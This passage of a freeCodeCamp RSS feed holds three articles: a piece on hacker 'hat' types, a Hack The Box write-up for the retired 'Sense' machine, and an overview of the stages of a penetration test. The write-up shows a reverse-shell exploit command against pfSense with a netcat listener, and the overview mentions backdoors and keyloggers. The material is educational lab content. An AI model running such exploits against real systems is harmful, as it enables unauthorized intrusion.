<li><a target="_blank" href="https://en.wikipedia.org/wiki/Adrian_Lamo">Adrian Lamo</a> (aka the homeless hacker)</li>
<li><a target="_blank" href="https://edition.cnn.com/2013/08/19/tech/social-media/zuckerberg-facebook-hack/index.html">Khalil Shreateh</a> (Hacked the facebook account of Mark Zuckerburg 🤣)</li>
</ol>
<h2 id="heading-black-hat-hackers">Black Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*9nsMsIU_0gRjOkiwa3TxQg.jpeg" alt="The Joker" width="600" height="400" loading="lazy">
<em>The Joker | Credit: Wallpapersden.com</em></p>
<p>Time to introduce the harmful lot 🃏. The Joker and Black Hats are like peas in a pod. They perform illegal activities for financial gain, the challenge, or simply for the fun of it. </p>
<p>They look for computers that are vulnerable over the internet, exploit them, and use them to whatever advantage they can.</p>
<p>Black Hats use techniques for getting into systems just like white hats. However, they don’t use their defensive skills – rather, they up their game on the attack by doing things such as:</p>
<ol>
<li>Installing backdoors</li>
<li>Maintaining access to compromised systems</li>
<li>Performing privilege escalation</li>
<li>Downloading private/sensitive/intellectual data</li>
<li>Installing malware such as ransomware</li>
<li>Creating phishing emails and links</li>
</ol>
<p>Examples of infamous black hats include:</p>
<ol>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Kevin_Mitnick">Kevin Mitnick</a> (Most wanted cybercriminal in U.S history)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Julian_Assange">Julian Assange</a> aka Mendax (Creator of Wikileaks)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Hamza_Bendelladj">Hamza Bendelladj aka Bx1</a> (Latter owner of the ZeuS Banking Malware)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Kevin_Poulsen">Kevin Poulsen</a> (Dark Dante)</li>
<li><a target="_blank" href="https://en.wikipedia.org/wiki/Robert_Tappan_Morris">Robert Tappan Morris</a> (Creator of the morris worm)</li>
</ol>
<p>Mitnick, Poulsen, and Morris were criminally charged, served their sentences, and are good guys now. Mitnick founded a cybersecurity company. Poulsen created SecureDrop. And Morris became a professor at MIT (Don’t you just love a happy ending? 🤧).</p>
<h2 id="heading-green-hat-hackers">Green Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*quuAX42p8KI_4ykALHwZQA.jpeg" alt="Ms Marvel" width="600" height="400" loading="lazy">
<em>Ms Marvel | Credit: Wallpapercave.com</em></p>
<p>Ms Marvel and Green hats are a match made in heaven 🌟. They are both young, enthusiastic, inexperienced and have the tendency to take risks and learn from their mistakes. Green hats are hackers that are new to the industry but are willing to learn to become great hackers.</p>
<p>Because of the availability and easy of use of hacking tools these days, it's pretty easy for a green hat to end up in trouble as they may not fully understand the full workings of the tool or target. But, they learn from their errors to gather experience. </p>
<p>Green hats may upgrade to White, Grey, or Black Hat hackers as they continue to move up the ranks.</p>
<h2 id="heading-blue-hat-hackers">Blue Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*AliPb8msD7Y9lTQCgnZO7Q.jpeg" alt="John Wick" width="600" height="400" loading="lazy">
<em>John Wick | Credit: Wallpaperswide.com</em></p>
<p>Okay, I know. John Wick isn’t a part of either DC or Marvel but Dynamite Comics’ greatest hitman is a favourite of any fan 🐶. </p>
<p>Mr Wick and Blue hat hackers share the same ideology: Revenge. You kill John Wicks dog, he’ll come after you. You bully or threaten a blue hat, they will also come after you, except it's your digital life on the gallows.</p>
<p>But due to what I can only guess to be cultural differences, a blue hat could also mean an external security professional brought in to test software for vulnerabilities prior to its release.</p>
<h2 id="heading-red-hat-hackers">Red Hat Hackers</h2>
<p><img src="https://miro.medium.com/max/1400/1*kEAW09PzbhQNC0Se6EBUaA.jpeg" alt="Image" width="600" height="400" loading="lazy">
<em>The Punisher | Credit: Wallpaperflare.com</em></p>
<p>I think the character says it all ☠. The Punisher is a ruthless anti-hero that stands up for what is right but is never ever (and I mean ever 😬) going to give criminals second chances. </p>
<p>Red hats are the same. They target cybercriminals and damage whatever they can to disable criminal activities, permanently.</p>
<p>Red hats are hackers no one wants to mess with, not even a black hat. Other hackers usually attack Microsoft Windows computers but these hackers, they hack Linux computers. </p>
<p>They have no regrets, don’t think twice, and make black hats pay rather severely for their crimes by taking justice into their hands. They do this by destroying all data and backups of their target, and usually render the system useless.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>And on that terrifying note, we have come to the end of this article. I hope you enjoyed it. And as I always say, Happy hacking! 🙃</p>
<h3 id="heading-acknowledgements">Acknowledgements</h3>
<p>Thanks to <a target="_blank" href="https://www.linkedin.com/in/chinaza-nwukwa-22a256230/">Chinaza Nwukwa</a>, <a target="_blank" href="https://www.linkedin.com/in/mercy-holumidey-88a542232/">Holumidey Mercy</a>, <a target="_blank" href="https://www.linkedin.com/in/georgina-awani-254974233/">Georgina Awani</a>, and my family for the inspiration, support and knowledge used put this post together. You guys are amazing.</p>
<h3 id="heading-helpful-resources">Helpful Resources</h3>
<ol>
<li><a target="_blank" href="https://www.kaspersky.com/resource-center/threats/what-is-a-honeypot">What is a honeypot</a>?</li>
<li><a target="_blank" href="https://www.pandasecurity.com/en/mediacenter/security/14-types-of-hackers-to-watch-out-for/">Many more classifications of hats</a></li>
</ol>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Sense ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-sense/</link>
                <guid isPermaLink="false">66ba312fa7990ee5f3aa5de2</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 05 Nov 2020 16:31:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/11/702551-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-08-at-21.26.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Sense is fairly simple overall. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>dirbuster</li>
<li>searchsploit</li>
</ul>
<p>Let's get started!</p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.05.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.10.10.60
</code></pre>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>sense</strong>.htb:<em>**</em> hostname for the Sense box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap 10.10.10.60
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.04.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 2 open ports including:</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<p><strong>Port</strong> 443, standard port for all secured HTTP traffic</p>
<h3 id="heading-ia"> </h3>
<p>Directory scanning</p>
<p>Still in the scanning and reconnaissance phase, I now use <strong>DirBuster</strong>. DirBuster is a multi threaded Java application designed to brute force directories and files names on web/application servers.</p>
<p>You can launch DirBuster by typing this command on the terminal:</p>
<pre><code class="lang-bash">dirbuster
</code></pre>
<p>or by searching the application:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/09/Screenshot-2019-09-02-at-21.01.31-1.png" alt="Image" width="600" height="400" loading="lazy">
<em>Old Kali</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.09.39.png" alt="Image" width="600" height="400" loading="lazy">
<em>New Kali</em></p>
<p>The application looks like this, where you can specify the target URL. In our case it will be <strong>https://10.10.10.</strong>60. You can select a wordlist with the list of <strong>dirs/files</strong> by clicking the Browse button:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.10.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the <strong>directory-list-2.3-medium.txt</strong> for this search. We can see some interesting files here:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.11.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-2-visiting-the-files-we-got-from-the-recon-phase"><strong>Step 2 - Visiting the</strong> files we got from the recon phase</h2>
<p>Let's navigate to the <strong>changelog.txt</strong> file. We're getting more information around some security changelog, including patching vulnerabilities and timeline.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.12.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Another interesting file is <strong>system-users.txt</strong> which does contain a username and an indication for the password.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.13.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-visiting-the-web-page"><strong>Step</strong> 3 <strong>- Visiting the web page</strong></h2>
<p>Let's navigate to the website. We see a pfSense panel. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.18.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<blockquote>
<p><strong>pfSense</strong> is an open sourcefirewall/router computer software distribution based on FreeBSD. It is installed on a physical computer or a virtual machine to make a dedicated firewall/router for a network. It can be configured and upgraded through a web-based interface, and requires no knowledge of the underlying FreeBSD system to manage - Wikipedia</p>
</blockquote>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/Screenshot-2020-11-03-at-21.24.44.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.pfsense.org/</em></p>
<p>Let's Google to see if we can find the default username and password for pfSense. Bingo! We do find some documentation on Netgate Docs.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.19.03.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://docs.netgate.com/pfsense/en/latest/solutions/m1n1wall/getting-started.html</em></p>
<p>I try the username <strong>Rohit</strong> and the password <strong>pfsense</strong> on the login page and I'm in! I have a look at the dashboard and other information I could gather. We can see which specific version we're on - <strong>2.1.3-RELEASE (amd64)</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.19.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-looking-for-an-exploit"><strong>Step</strong> 4 <strong>-</strong> Looking for an exploit</h2>
<p>I use <strong>Searchsploit</strong> to check if there is any known exploit. Searchsploit is a command line search tool for <a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit pfsense
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.21.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get more details on an exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 43560.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.23.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.22.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check the <strong>Exploit Database</strong> to find the same exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.20.33.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.exploit-db.com/exploits/43560</em></p>
<p>I get more information with:</p>
<pre><code class="lang-bash">searchsploit -p 43560.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.23.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see where it is located on my Kali box. I copy the file in my <strong>Sense</strong> folder with:</p>
<pre><code class="lang-bash">cp /usr/share/exploitdb/exploits/linux/remote/43560.py .
</code></pre>
<p>and to check if it has been copied in this folder:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.24.23.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>On one terminal (right side) I set up a listener with:</p>
<pre><code class="lang-bash">nv -nvlp 1234
</code></pre>
<p>I then set up the exploit (left side) with:</p>
<pre><code class="lang-bash">python 43560.py --rhost 10.10.10.60 --lhost 10.10.14.13 --lport 1234 --username rohit --password pfsense
</code></pre>
<p>I got a shell as root!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.24.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I start gathering some basic info. <strong>id</strong> returns the real user ID of the calling process.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.25.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-5-looking-for-the-usertxt-flag"><strong>Step</strong> 5 <strong>- </strong>Looking for the user.txt flag<em>**</em></h2>
<p>I navigate to the <strong>rohit</strong> folder from <strong>home</strong>.</p>
<p>I can list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>home</strong> folder with:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.26.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I check the contents of the file with:</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step 5 -</strong> Looking for the root.txt flag</h2>
<p>Let's find the root flag now. I navigate up to <strong>root</strong>.</p>
<p>I find the root.txt file and check its content with:</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.27.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Do not store sensitive information such as login credentials or your patching status on a plaintext file on the webserver</li>
<li>The pfsense application should be patched to latest</li>
<li>Make sure to change the default password when you're setting up new applications/servers/platforms</li>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
</ul>
<p>Please don’t hesitate to ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/702551.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The Ethical Hacking Lifecycle — Five Stages Of A Penetration Test ]]>
                </title>
                <description>
                    <![CDATA[ Penetration testing is the process of exploiting an organization’s network in order to figure out how defend it better.  In this article, we'll discuss the five steps involved in a successful penetration test. Before we get into the article, a quick ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/ethical-hacking-lifecycle-five-stages-of-a-penetration-test/</link>
                <guid isPermaLink="false">66d035bf2b211a17e00e36d7</guid>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ penetration testing ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Manish Shivanandhan ]]>
                </dc:creator>
                <pubDate>Wed, 09 Sep 2020 20:34:06 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/09/hacking.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Penetration testing is the process of exploiting an organization’s network in order to figure out how defend it better. </p>
<p>In this article, we'll discuss the five steps involved in a successful penetration test.</p>
<p><em>Before we get into the article,</em> a quick disclaimer: <em>I would like to emphasize that I am not responsible for any damage you do trying to attack systems.</em> </p>
<p><em>It</em>'<em>s illegal</em> to pen test without permission, so make sure you have it in writing <em>before you even try to scan a system or a network.</em></p>
<p>With that out of the way, let's get started.</p>
<h2 id="heading-what-is-cybersecurity">What is Cybersecurity?</h2>
<p>Cybersecurity is one of the hottest fields to be in, thanks to so many companies going remote. Cyber threats are increasing and cybercriminals are finding new ways to exploit systems.</p>
<p>Penetration testing is how ethical hackers work. They think like bad hackers and attack their own systems. This helps them understand their strengths and weaknesses and protect their organizational assets.</p>
<p>A pen-test is comprised of multiple stages. You cannot simply get into a system by using a tool unless the target is hopelessly vulnerable.</p>
<p>In most cases, systems are secured via firewalls, antivirus software, default operating system configurations, and so on. It takes the right tools, a strong skill set, and most importantly, patience, in order to successfully exploit a network.</p>
<p>So let's look at the five main stages a penetration tester will go through along with the tools they use to break into a network.</p>
<p>You can also find the <a target="_blank" href="https://www.freecodecamp.org/news/10-tools-you-should-know-as-a-cybersecurity-engineer/">article I wrote on the top 10 tools cybersecurity professionals use here</a>.</p>
<h2 id="heading-reconnaissance">Reconnaissance</h2>
<blockquote>
<p>"Give me six hours to chop down a tree and I will spend the first four sharpening the axe." — Abraham Lincoln</p>
</blockquote>
<p>Reconnaissance is the most important part of a penetration test. It is where you gain information about the target.</p>
<p>Reconnaissance is important because the more information you have about the target, the easier it gets when you try to gain access. Once you map out an entire network, you can identify the weakest spot and start from there.</p>
<p>Commonly used recon tools include <a target="_blank" href="https://en.wikipedia.org/wiki/Google_hacking">Google (yeah!)</a> and social media sites where you can gather information about the target. If you are performing an audit of a company, you can go through the company’s job postings to see the type of technologies they use.</p>
<p>Once you have gained enough information, you can use a tool like <a target="_blank" href="https://www.maltego.com/">Maltego</a> to map the targets.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/maltego.jpg" alt="Image" width="600" height="400" loading="lazy">
<em>Maltego</em></p>
<p>Maltego also supports has the ability to automatically import data from social networks, DNS records, and custom plugins like <a target="_blank" href="https://www.fullcontact.com/">FullContact</a>.</p>
<p>The important thing to remember in terms of recognisance is that you NEVER touch the target. Reconnaissance is similar to scouting and looking for information while you are far away from the target.</p>
<h2 id="heading-scanning">Scanning</h2>
<p>This is the part where you come in contact with the target. Scanning involves sending packets of data to the target and interpreting their response.</p>
<p>Scanning gives you useful information about the target like open ports, IP addresses, operating system information, services installed, and so on.</p>
<p><a target="_blank" href="https://medium.com/manishmshiva/nmap-a-guide-to-the-greatest-scanning-tool-of-all-time-3bd1a973a5e5">Nmap is the best scanner to scan a network</a>. It will help you map out the network and provide detailed information about the target systems.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/nmap.png" alt="Image" width="600" height="400" loading="lazy">
<em>Nmap</em></p>
<p>Nmap also provides a number of CLI options including scan exports that you can then import into exploitation tools.</p>
<p><a target="_blank" href="https://en.wikipedia.org/wiki/Nessus_(software)">Nessus</a> is another scanning tool, but it is a commercial product. While Nmap will give you information about the target, Nessus will tell you how you can exploit the target by matching the vulnerabilities from the <a target="_blank" href="https://www.exploit-db.com/">Common Vulnerabilities and Exposures database</a>.</p>
<p><a target="_blank" href="https://www.openvas.org/">OpenVas</a> is another open-source alternative that is similar to Nessus.</p>
<h2 id="heading-exploitation">Exploitation</h2>
<p>This is the part where you gain access to the system. A successful exploit should give you control of the system to at least a user level. From there you perform <a target="_blank" href="https://searchsecurity.techtarget.com/definition/privilege-escalation-attack">privilege escalation</a> to gain root access to the target.</p>
<p>When it comes to exploitation, <a target="_blank" href="https://medium.com/manishmshiva/metasploit-a-walkthrough-of-the-powerful-exploitation-framework-6974c4ed0ea7">Metasploit is hands down the best tool in the market</a>. It is open-source (with a commercial version as well) and is easy to work with.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/metasploit.png" alt="Image" width="600" height="400" loading="lazy">
<em>Metasploit</em></p>
<p>Metasploit is updated frequently with new exploits published in the Common Vulnerabilities and Exposures (CVE) database. So you can match your scan results with the available exploits and use that exploit from Metasploit to attack the target.</p>
<p>Metasploit has an advanced payload called <a target="_blank" href="https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/">Meterpreter</a>. Once you have gained access to the target system, Meterpreter gives you options like opening webcams, dumping password hashes, and so on. Meterpreter also lives in the memory of the target, so it is very hard to detect.</p>
<p>For example, if your scan results tell you that the target has Samba version 3.5, you can use the <a target="_blank" href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7494">Samba CVE-2017–7494 Remote Code Execution Vulnerability</a> to send a payload through Metasploit and gain access to the target system.</p>
<p>Metasploit also has a GUI tool called Armitage. Armitage helps you visualize targets and it recommends exploits by matching the vulnerabilities with the exploits database.</p>
<h2 id="heading-maintaining-access">Maintaining Access</h2>
<p>Gaining access to systems is not easy, especially on corporate networks. After all the hard work you have done to exploit a system, it won't make sense to go through the same process to exploit the target again.</p>
<p>This is where maintaining access comes in. You can install backdoors, keyloggers, and other pieces of code that let you into the system whenever you want.</p>
<p>Metasploit gives you tools like keyloggers and Meterpreter backdoors to maintain access to an exploited system. You can also install custom <a target="_blank" href="https://www.veracode.com/security/rootkit">Rootkits</a> or Trojans after gaining access.</p>
<p>A rootkit is a piece of code that lets the attacker have admin access to the system it is attached to. Rootkits can also be installed when you download files from malicious websites.</p>
<p>Trojan horses are software that looks like useful software (for example, adobe photoshop) but can contain a hidden piece of malicious software. This is common among pirated software where attackers embed trojans within popular software like MS Office.</p>
<h2 id="heading-reporting">Reporting</h2>
<p>Reporting is the final part of a penetration test. It is what differentiates between an attacker and an ethical hacker.</p>
<p>Once your penetration test is complete, you summarize all the steps you have taken from recon to gaining access. This will help the organization to understand its security architecture and defend itself better.</p>
<p>A report is also useful when you are working as a team. You will not be able to conduct a penetration test for a large organization alone. Reports also make the client understand the efforts of the team and help justify the compensation.</p>
<p><a target="_blank" href="https://www.offensive-security.com/reports/sample-penetration-testing-report.pdf">Here is a sample report created after a successful penetration test</a>.</p>
<h2 id="heading-summary">Summary</h2>
<p>Cybersecurity is a great career choice, especially during these uncertain times. More devices are exposed to the network every single day. It is the job of the penetration tester to help defend an organization’s network.</p>
<p>Hope this article helped you understand the different stages of a penetration test. To learn more about Ethical Hacking or Artificial Intelligence, <a target="_blank" href="https://medium.com/manishmshiva">you can visit my blog</a>. </p>
 ]]>
                </content:encoded>
            </item>
        
    </channel>
</rss>
